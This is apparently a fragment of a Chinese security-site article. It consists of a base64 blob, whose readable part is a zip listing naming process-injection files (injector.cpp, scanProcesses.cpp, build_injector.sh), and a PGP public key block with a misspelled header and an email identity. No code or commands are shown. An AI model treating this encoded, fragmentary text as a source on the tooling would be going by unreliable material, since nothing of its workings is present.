KriLp8JUTLptxjW8+woOuRUsXbcyJMqtyEC4lUpl4QIed7oNaHBUl9+SZr0YVr/ekm36yylmTtFu ylPWqx8qXifAhT3konWZtTS/1693+363c9Vvtj1nnQ13SYamK3XbzY8AZ5nO7d0rSKGYDoub0F46 E9MU/+O+tZa/PFgj5nTHFALm6clSWAl3Yf0BUEsBAh4DCgAAAAAAy7WjUAAAAAAAAAAAAAAAAAUA GAAAAAAAAAAQAP1BAAAAAGNvZGUvVVQFAAOOH69edXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgA wow1UA7oeRmzAAAA9gEAABYAGAAAAAAAAQAAAP2BPwAAAGNvZGUvYnVpbGRfaW5qZWN0b3Iuc2hV VAUAA8sMJ151eAsAAQToAwAABOgDAABQSwECHgMUAAAACAC1dpxQ8iY9TUoHAAC/GAAAFgAYAAAA AAABAAAAtIFCAQAAY29kZS9zY2FuUHJvY2Vzc2VzLmNwcFVUBQADRRmoXnV4CwABBOgDAAAE6AMA AFBLAQIeAxQAAAAIAMlOlFCQzZrjJwEAADsEAAAPABgAAAAAAAEAAAC0gdwIAABjb2RlL0RvY2tl cmZpbGVVVAUAAxpHnV51eAsAAQToAwAABOgDAABQSwECHgMUAAAACABdUZRQMxCFUIwFAACLEAAA EQAYAAAAAAABAAAAtIFMCgAAY29kZS9pbmplY3Rvci5jcHBVVAUAAwFLnV51eAsAAQToAwAABOgD AABQSwUGAAAAAAUABQCvAQAAIxAAAAAA

D:Public php key

——BENGIN PGP PUBLIC KEY BLOCK——

mQGNBF4nI+EBDADKV1iKRLoAaUNS2fG/5cDJcT0hXnZ2Fx6SxREKegawUtDDX4DR bhIskS2IWoDRiUq5w8JnjDKOSYsXeFYtCGD54dZgzmGelR5wduYMB3KdTLQrw9lh lWDaipmQAt4QDcl92Cjk5Wt5yDlGDXnBUYHT7WGHDwfAhDNbJiAFGb9G5J9b0hpB ywY0SLIPXuDKcExXjx8Ovz2EZ842I4WfHCsQ26wuXkD3Vpx+fJ/ImSPobaGcLxXk 4TOX8abfRo1gamJH58W1myB9Hc0tutihn0z660rQQ23cFLAsR8kIGXBMJbBfDy8F id22LJ4QGDUSKiNV5FSyeNstibRMO0KFZS5xZX6pE7MQRaL5K7gXXp+VtsliiJ8P 5U64hFJoMB+pCU3nTEbx3zsXgAbjl478r88HvTW7ogdqqqq7J5HB/1dYKnBPJdmB jYubjL9w+k4cxQz6jEwbWkUV6GxMrdyGQ9sqV2REO+mlw1sRXQIhBojFhIp9TK2l DARVzxcvxo8eOBEAEQEAAbQfcGV0cmkgPHBldHJpLjliZjZmNzNAZ21haWwuY29t PokB1AQTAQoAPhYhBO366sGNrIHQXl5VaDBy/BIqp2pqBQJeJyPhAhsDBQkDwmcA BQsJCAcCBhUKCQgLAgQWAgMBAh4BAheAAAoJEDBy/BIqp2pqef8L/Ryx6CHe5nAD bemwa7ZP7zJJ373tR3GGZmNMYiLgxe+tJPBLhq3jF0pE2NAGoDcMlorOsm+vjGW3 uiueEtXsWHD8jAd6S5Lbrea+5tHUMywIibeNxclbMZOBgbLHs+P+X69/4aXBxDD3 US3g4EWEueZiyfaPZIBZQjO/L/x5kTa7tlRyJejWk96LNavBApUvDoGbFazwwl7n o9/oGY4pFRT0SCr7lE31H7cUyt9hhOfZ9QDhi6E0MUk692dwqyT491Vy5KPMunLT pImSAFhD4sUabb5OD88hVdRuhgyEQjeqE1W4Kgl5qQ3qEL33S7P8w4nVn0t5rqLJ cjuCiSHyzV6ntKvvczi8hxDBWFAxyBSMovLgWhHIXfkVe7kVKzqS75+uleA50lWb mtSBZjMzlFHrMemcrCZ/QERKQU4l4tyyRXnxIu8oWUORQCa8qsk6c8NlxQjkWNdu g+GvGsl7Rc8tCKgSMgD3jy0T6PosrdbHwnLCfEKFs4S0cjAqEeFRD7kBjQReJyPh AQwA7iqWBUqAYn2x2N5LGNaF6U/qn2DTkHxgXxEU87VctgGYL9KtyFl8siBbreOL hgcLlT1RSnMAuF9pLKkaqh8C0cigz85ChhPUCkWxl71KIr0OFbil1EU1OL5jTTjV QEx+aojJNk1Wo+Ct6wfQo9TFyBA9AKQsOS/gr1XtyaSXhU+LqwfljikEN5kVJOMp QcD4qVM37UXnTljuWtQhx/fgtV/SB1gAxFwcNHIn09+5Ndrbn5uhrQ+hf5oYFyoS SdFIMbms/gjsBqObbvMjF2QPQpD247TfsjrEAgD2WdWRDbCx0+OlM4cjWGuIRPPg WyoY3HL4Nr+l3pxJUOXmEhTwn0Xol3PoH32d33j7t/h4lz2kXZFXOeQ3oEuwf2ko 4KeElAuYDRNhpWR7WDfLsNVZL1fPWrpysPFJEU/O35kJe4b3aD727Cpm28ZZvcz+ Y+C0Yn+6bPz99Ry4UZa0A70k0gOToG/P+/1x7+jz+3z1KTXe3ez2fdjK26ORfoCT XcsxABEBAAGJAbwEGAEKACYWIQTt+urBjayB0F5eVWgwcvwSKqdqagUCXicj4QIb DAUJA8JnAAAKCRAwcvwSKqdqasPKC/4pYGhS5c/9ekRGG69e5b2awmIiupz8K96W 0S+zo8dV52TFtKaLC4/lFDqm8fPL8fIWwRPj0ciVLSJTIfpdY1Z2om5BSwmpEZT9 Bfik3x/Ler2XJbHAR/6xLPvUOTBdqpopHzLE8p2qIF3NeWldtttPldN+lpbFX2RT NuxHGrL3EOLvUNPzbuVMyePCbB2jiipLU7/+r75tFLisoCBD2DYi6d/O8rY/U3Nn hSWz1qvAv5B5cW4c3z9VawhOZgV7i1ZRqWcAowOd5DeoGWhCsA4liABnSbKZLYA5 J6qA5/VdTjAgrprdKKwPPOEWP4beZARNl2SWQAMpKUqc5ZGg3GeKZhiG4ntDWFOa wRw9PaZpFI8a+pQD7Scw6HBHWKZckcCGM6bM+3bPHQJtcenq03HT0pMtbcZNCwcI Y7Kbu8Y6Fkg24ymzp0amvpfLkzJ0UXLoWDxj8zNpTCbn8r1zFvV+MUo82ynimZiu K/1Imesf2v2v9NwDAPtUj7eT2pJEbXg= =IXgh

——-END PGP PUBLIC KEY BLOCK——-

文章原文链接:https://www.anquanke.com/post/id/204756